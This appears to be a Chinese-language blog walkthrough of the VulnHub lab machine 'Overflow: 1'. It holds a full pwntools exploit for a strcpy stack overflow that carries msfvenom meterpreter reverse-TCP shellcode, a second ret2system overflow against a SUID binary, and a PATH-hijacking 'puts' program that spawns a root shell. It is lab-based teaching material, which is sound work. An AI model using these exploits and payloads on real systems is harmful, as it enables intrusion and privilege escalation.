基本介绍

靶机地址

https://www.vulnhub.com/entry/overflow-1,300/

目标

获取两个 flag,user / root。

环境

名称 介绍
主机 Manjaro 20.1
虚拟化软件 Virtualbox 6.1.12
靶机网络 Host-only (vboxnet0)
kali in docker 2020.3
Ubuntu in docker 16.04.7 LTS

工具版本

名称 版本
arp-scan 1.9.7
Nmap 7.80
Ghidra 9.1
IDA Pro 7.3

信息收集

获取 IP 地址

使用 arp-scanvboxnet0 接口进行二层扫描,可知靶机的地址为 192.168.56.121

{% blockquote %}

1
arp-scan -I vboxnet0 --localnet

arp-scan -I vboxnet0 –localnet Interface: vboxnet0, type: EN10MB, MAC: 0a:00:27:00:00:00, IPv4: 192.168.56.1 Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.56.100 08:00:27:14:c7:34 PCS Systemtechnik GmbH 192.168.56.121 08:00:27:37:66:a9 PCS Systemtechnik GmbH

2 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.9.7: 256 hosts scanned in 2.039 seconds (125.55 hosts/sec). 2 responded {% endblockquote %}

端口扫描

使用半连接方式对靶机进行全 TCP 端口扫描,该靶机只开放了两个端口:

{% blockquote %}

1
nmap -sS -p- 192.168.56.121

Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-26 04:33 UTC Nmap scan report for 192.168.56.121 Host is up (0.00014s latency). Not shown: 65533 closed ports PORT STATE SERVICE 80/tcp open http 1337/tcp open waste MAC Address: 08:00:27:37:66:A9 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.14 seconds {% endblockquote %}

服务枚举

继续使用 Nmap 进行服务枚举,可见 80 端口上运行着 apache;而另一个端口就比较奇怪了,并看不出是什么。

{% blockquote %}

1
nmap -sV -sC -p80,1337 192.168.56.121

Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-26 04:34 UTC Nmap scan report for 192.168.56.121 Host is up (0.00038s latency).

PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.25 ((Debian)) |_http-server-header: Apache/2.4.25 (Debian) |http-title: Site doesn’t have a title (text/html). 1337/tcp open waste? | fingerprint-strings: | DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns: | COMMAND : TRY HARDER! | NULL: | COMMAND : 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port1337-TCP:V=7.80%I=7%D=8/26%Time=5F45E660%P=x86_64-pc-linux-gnu%r(NU SF:LL,A,“COMMAND\x20:\x20”)%r(GenericLines,16,“COMMAND\x20:\x20TRY\x20HARD SF:ER!\n”)%r(GetRequest,16,“COMMAND\x20:\x20TRY\x20HARDER!\n”)%r(HTTPOptio SF:ns,16,“COMMAND\x20:\x20TRY\x20HARDER!\n”)%r(RTSPRequest,16,“COMMAND\x20 SF::\x20TRY\x20HARDER!\n”)%r(RPCCheck,16,“COMMAND\x20:\x20TRY\x20HARDER!\n SF:")%r(DNSVersionBindReqTCP,16,“COMMAND\x20:\x20TRY\x20HARDER!\n”)%r(DNSS SF:tatusRequestTCP,16,“COMMAND\x20:\x20TRY\x20HARDER!\n”)%r(Help,16,“COMMA SF:ND\x20:\x20TRY\x20HARDER!\n”)%r(SSLSessionReq,16,“COMMAND\x20:\x20TRY\x SF:20HARDER!\n”)%r(TerminalServerCookie,16,“COMMAND\x20:\x20TRY\x20HARDER! SF:\n”)%r(TLSSessionReq,16,“COMMAND\x20:\x20TRY\x20HARDER!\n”)%r(Kerberos, SF:16,“COMMAND\x20:\x20TRY\x20HARDER!\n”)%r(SMBProgNeg,16,“COMMAND\x20:\x2 SF:0TRY\x20HARDER!\n”)%r(X11Probe,16,“COMMAND\x20:\x20TRY\x20HARDER!\n”)%r SF:(FourOhFourRequest,16,“COMMAND\x20:\x20TRY\x20HARDER!\n”)%r(LPDString,1 SF:6,“COMMAND\x20:\x20TRY\x20HARDER!\n”)%r(LDAPSearchReq,16,“COMMAND\x20:
SF:x20TRY\x20HARDER!\n”)%r(LDAPBindReq,16,“COMMAND\x20:\x20TRY\x20HARDER!
SF:n”)%r(SIPOptions,16,“COMMAND\x20:\x20TRY\x20HARDER!\n”)%r(LANDesk-RC,16 SF:,“COMMAND\x20:\x20TRY\x20HARDER!\n”)%r(TerminalServer,16,“COMMAND\x20:
SF:x20TRY\x20HARDER!\n”)%r(NCP,16,“COMMAND\x20:\x20TRY\x20HARDER!\n”)%r(No SF:tesRPC,16,“COMMAND\x20:\x20TRY\x20HARDER!\n”)%r(JavaRMI,16,“COMMAND\x20 SF::\x20TRY\x20HARDER!\n”)%r(WMSRequest,16,“COMMAND\x20:\x20TRY\x20HARDER! SF:\n”)%r(oracle-tns,16,“COMMAND\x20:\x20TRY\x20HARDER!\n”)%r(ms-sql-s,16, SF:“COMMAND\x20:\x20TRY\x20HARDER!\n”)%r(afp,16,“COMMAND\x20:\x20TRY\x20HA SF:RDER!\n”)%r(giop,16,“COMMAND\x20:\x20TRY\x20HARDER!\n”); MAC Address: 08:00:27:37:66:A9 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 158.02 seconds {% endblockquote %}

访问网页

在浏览器中访问 http://192.168.56.121,页面中只有一句话:

index

相当简洁明了,得到了 1337 端口上运行的程序 vulnserver,不用继续枚举 Web 了。

Vulnserver 分析

文件信息

首先查看这个文件的基本信息:

{% blockquote %}

1
file vulnserver

vulnserver: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=22c480f83765e0d4ca860fe9469074ba8f17295c, not stripped {% endblockquote %}

可见是一个 32 位的动态链接 ELF 文件,没有剥离调试信息,继续查看防护措施:

{% blockquote %}

1
checksec --file=vulnserver

vs_check {% endblockquote %}

没有任何防护!

静态分析

这里我是用 Ghidra 来进行反汇编和反编译,直接看 main 函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
puStack20 = &stack0x00000004;
sock = socket(2,1,0);
if (sock < 0) {
  puts("[-]Error in connection.");
                  /* WARNING: Subroutine does not return */
  exit(1);
}
puts("[+]Server Socket is created.");
memset(&local_40,0,0x10);
local_40 = 2;
local_3e = htons(0x539);
local_3c = inet_addr("0.0.0.0");
local_28 = bind(sock,(sockaddr *)&local_40,0x10);
if (local_28 < 0) {
  puts("[-]Error in binding.");
                  /* WARNING: Subroutine does not return */
  exit(1);
}
printf("[+]Bind to port %d\n",0x539);
iVar2 = listen(sock,10);
if (iVar2 == 0) {
  puts("[+]Listening....");
}
else {
  puts("[-]Error in binding.");
}

从以上的代码可知该程序创建了一个 TCP 套接字,监听本地的 1337(0x539) 端口,最多能同时建立 10 条连接。接着分析:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
while( true ) {
  client = accept(sock,(sockaddr *)local_50,&local_54);
  if (client < 0) break;
  uVar1 = ntohs(local_4e);
  pcVar3 = inet_ntoa(local_4c);
  printf("Connection accepted from %s:%d\n",pcVar3,(uint)uVar1);
  local_30 = fork();
  if (local_30 == 0) {
    write(client,"COMMAND : ",10);
    recv(client,local_454,0x400,0);
    iVar2 = strncmp("OVERFLOW ",local_454,9);
    if (iVar2 == 0) {
      handleCommand(local_454);
      write(client,"COMMAND DONE\n",0xd);
    }
    else {
      write(client,"TRY HARDER!\n",0xc);
    }
  }
}

该程序使用了 fork 的方式来处理连接的请求,对于每个连接,先读取最多 1024 个字节(0x400),如果以 “OVERFLOW “(注意有一个空格)打头,则调用 handleCommand 函数进一步处理。handle 函数如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
55              PUSH       EBP
89 e5           MOV        EBP,ESP
53              PUSH       EBX
83 ec 24        SUB        ESP,0x24
e8 6e 02        CALL       __x86.get_pc_thunk.ax                undefined __x86.get_pc_thunk.ax()
00 00
05 92 2d        ADD        EAX,0x2d92
00 00
83 ec 08        SUB        ESP,0x8
ff 75 08        PUSH       dword ptr [EBP + param_1]
8d 55 d8        LEA        EDX=>local_2c,[EBP + -0x28]
52              PUSH       EDX
89 c3           MOV        EBX,EAX
e8 ec fd        CALL       strcpy                               char * strcpy(char * __dest, cha
ff ff
83 c4 10        ADD        ESP,0x10
90              NOP
8b 5d fc        MOV        EBX,dword ptr [EBP + local_8]
c9              LEAVE
c3              RET

很简单,对之前接受的内容直接调用 strcpy 复制到局部的 buffer 中,而这个 buffer 的大小只有 36 字节(还有 4 字节保存了 ebx 寄存器)。很容易看出来只要发送的数据长度超过 44 (0x2c) 就会覆盖到 eip。

动态调试

简单介绍一下我的调试环境,由于这是一个网络程序,直接在宿主机上调试意味着端口会暴露在整个局域网上,这是很不安全的。当然可以配置防火墙策略来阻止其它主机的访问,但我选择搭建隔离的调试环境。多年的折腾经验下来最终还是使用了 docker,使用了 ubuntu/ubuntu:16.04 的镜像,网络为默认的桥接网络,调试容器的 IP 为 172.17.0.2,主机的 IP 为 172.17.0.1。在容器内安装了 gdb,gdb-peda;当然,tmux 不能少。

首先运行 vulnserver,接着 gdb-peda attach 上去:

gdb_attach

我对 handleCommand 函数下断点,命令为:

1
b handleCommand

但是仅仅这样是断不下来的,因为 handleCommand 函数由 fork 出的子进程处理,但是我 attach 的是父进程,可以在 gdb 内进行以下设置:

1
set follow-fork-mode child

控制 EIP

这样 gdb 在 fork 操作之后就会去跟踪子进程,之后输入 “c”,让程序继续运行。这里尝试构造一个刚好能够溢出返回地址从而控制 EIP 的 payload,预计 EIP 会被写入 0x42424242:

{% blockquote %}

1
python -c "print('OVERFLOW '+'A'*35+'BBBB')"

OVERFLOW AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB {% endblockquote %}

同时发送:

1
python -c "print('OVERFLOW '+'A'*35+'BBBB')" | ncat 172.17.0.2 1337

可以发现 gdb 这边成功断下来了,按 “c” 继续执行,成功控制 EIP:

eip

执行 shellcode

由于该程序没有开启 NX 防护,故栈是可执行的,所以后续将在栈上写入 shellcode 并执行 shellcode。这里 ESP 正好指向写入的位置,首先搜寻 jmp esp 作为跳板:

{% blockquote %}

1
ROPgadget --binary vulnserver --only "jmp"

Gadgets information

0x0804903b : jmp 0x8049020 0x08049260 : jmp 0x80491f0 0x080493c0 : jmp 0x80493d4 0x0804929a : jmp esp

Unique gadgets found: 4 {% endblockquote %}

恰好可以找到,地址为 0x0804929a

接着使用 msfvenom 生成 shellcode,这里我选用了 linux/x86/meterpreter/reverse_tcp

{% blockquote %}

1
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=172.17.0.1 LPORT=4444 -e x86/shikata_ga_nai -b "\x00" -f python

Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 150 (iteration=0) x86/shikata_ga_nai chosen with final size 150 Payload size: 150 bytes Final size of python file: 743 bytes

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
buf =  b""
buf += b"\xba\xa7\x6d\xef\xe8\xdd\xc7\xd9\x74\x24\xf4\x58\x2b"
buf += b"\xc9\xb1\x1f\x83\xc0\x04\x31\x50\x11\x03\x50\x11\xe2"
buf += b"\x52\x07\xe5\xb6\xad\x03\x0e\xa5\x9e\xf0\xa2\x40\x22"
buf += b"\x47\x22\x1c\xc3\x6a\x2b\x89\x58\x1d\x80\xa7\x5e\xdc"
buf += b"\xb0\xc5\x5e\xcf\x1c\x43\xbf\x85\xfa\x0b\x6f\x0b\x54"
buf += b"\x25\x6e\xe8\x97\xb5\xf5\x2f\x5e\xaf\xbb\xdb\x9c\xa7"
buf += b"\xe1\x24\xdf\x37\xbd\x4e\xdf\x5d\x38\x06\x3c\x90\x8b"
buf += b"\xd5\x43\x56\xcb\x9f\xfe\xb2\xec\xed\x06\xfc\xf2\x01"
buf += b"\x09\xfe\x7b\xc2\xc8\x15\x77\xc4\x28\xe5\x37\xbb\x63"
buf += b"\x76\xb2\x84\x04\x67\xe7\x8d\x14\x1e\xa5\xe4\x66\x22"
buf += b"\x04\x78\x03\xe5\xee\x7b\xf3\x07\xb6\x7d\x0b\xc8\xc6"
buf += b"\xc6\x0a\xc8\xc6\x38\xc0\x48"

{% endblockquote %}

最终的 exploit 如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *

# p = remote('192.168.56.121', 1337)
p = remote('172.17.0.2', 1337)

jmp_esp_addr = 0x0804929a

payload = b'OVERFLOW '
payload += (0x2c - len(payload)) * b'\x90'
payload += p32(0x0804929a)

payload += b"\x90" * 30

payload += b"\xda\xd6\xba\x2b\xf9\xa1\x8e\xd9\x74\x24\xf4\x5d"
payload += b"\x2b\xc9\xb1\x1f\x31\x55\x1a\x83\xc5\x04\x03\x55"
payload += b"\x16\xe2\xde\x93\xab\xd0\x11\xbf\x5b\x0f\x02\x7c"
payload += b"\xf7\xba\xa6\x32\x91\xb3\x47\xff\xde\x53\xdc\x68"
payload += b"\x73\x4a\xe2\x69\xe3\x6f\xe2\x78\xaf\xe6\x03\x10"
payload += b"\x29\xa1\x93\xb4\xe2\xd8\xf2\x74\xc0\x5b\x71\xba"
payload += b"\xa3\x42\x37\x4f\x69\x1d\x65\xaf\x91\xdd\x31\xda"
payload += b"\x91\xb7\xc4\x93\x71\x76\x0f\x6e\xf5\xfc\x4f\x08"
payload += b"\x4b\x15\x68\x59\xb4\x53\x76\x8d\xbb\xa3\xff\x4e"
payload += b"\x7a\x48\xf3\x51\x9e\x83\xbb\x2f\xac\x1c\x3e\x0f"
payload += b"\x56\x0d\x1b\x19\x46\xb4\x29\x73\x39\xc4\x80\x04"
payload += b"\xbc\x0b\x62\x07\x40\x6a\x2a\x06\xbe\x6d\x4a\xb2"
payload += b"\xbf\x6d\x4a\xc4\x72\xed"

p.send(payload)
p.interactive()

打开 msfconsole 进行侦听,成功连接,将以上 exploit 的 IP 更换为靶机即可:

user

成功获得 user.txt,可见系统的版本很新,看内核版本应该是 debian 9,实际验证确实是。搜索靶机上的 SUID 文件,可以发现有 printauthlog,将该文件下载到本地进行分析。

printauthlog 分析

同样是一个 32 位动态链接的 ELF 文件,但是开了 NX 防护。Ghidra 显示栈中的字符串实在是不太行,这里便使用 ida pro 进行反编译。

静态分析

main 函数真的很简单:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char command[4]; // [esp+0h] [ebp-7Ch]
  char v5; // [esp+1Ch] [ebp-60h]
  int *v6; // [esp+6Ch] [ebp-10h]

  v6 = &argc;
  strcpy(command, "/bin/cat /var/log/auth.log");
  memset(&v5, 0, 0x48u);
  if ( argc == 2 )
  {
    if ( checkPassword((char *)argv[1]) )
      puts("Wrong password");
    else
      shell(command);
  }
  else
  {
    printf("Usage: %s password\n", *argv);
  }
  return 0;
}

checkPassword 逻辑:

1
2
3
4
5
6
7
8
9
int __cdecl checkPassword(char *src)
{
  char s1[4]; // [esp+Fh] [ebp-49h]
  char dest; // [esp+18h] [ebp-40h]

  strcpy(s1, "deadbeef");
  strcpy(&dest, src);
  return strncmp(s1, &dest, 9u);
}

也是 strcpy 使用不当直接栈溢出。这里直接控制 checkPassword 函数的返回地址即可,由于 NX 的缘故不能在栈上直接写 shellcode 了。但是该程序中有 system 函数的地址,只需要将返回地址改成 system 的地址,然后控制其参数即可。

这里使用了一个技巧叫做命令劫持,即自行创建可执行程序加修改 PATH 来劫持不以 “/” 开头的命令,这里我使用 “puts” 的地址作为 system 函数的参数,puts.c 的内容如下:

1
2
3
4
5
6
7
#include <unistd.h>

int main(int argc, char const *argv[]) {
  const char *args[] = {"/bin/bash", "-p", NULL};
  execve(args[0], &args, NULL);
  return 0;
}

本地编译好得到 puts,上传到靶机。最终构造的 payload 如下,其中 0x08049060 为 system 的地址,0xdeadbeef 只是填充,0x080482c5 指向 “puts\x00”。为了方便,将内容保存为文件 haha,并上传到靶机。

1
2
3
4
payload = b'A' * 0x44
payload += p32(0x08049060)
payload += p32(0xdeadbeef)
payload += p32(0x080482c5)

最终在靶机上执行以下命令:

1
2
3
chmod +x puts
PATH=/home/user:$PATH
./printauthlog `cat haha`

成功获得 root 权限,可见 root.txt

root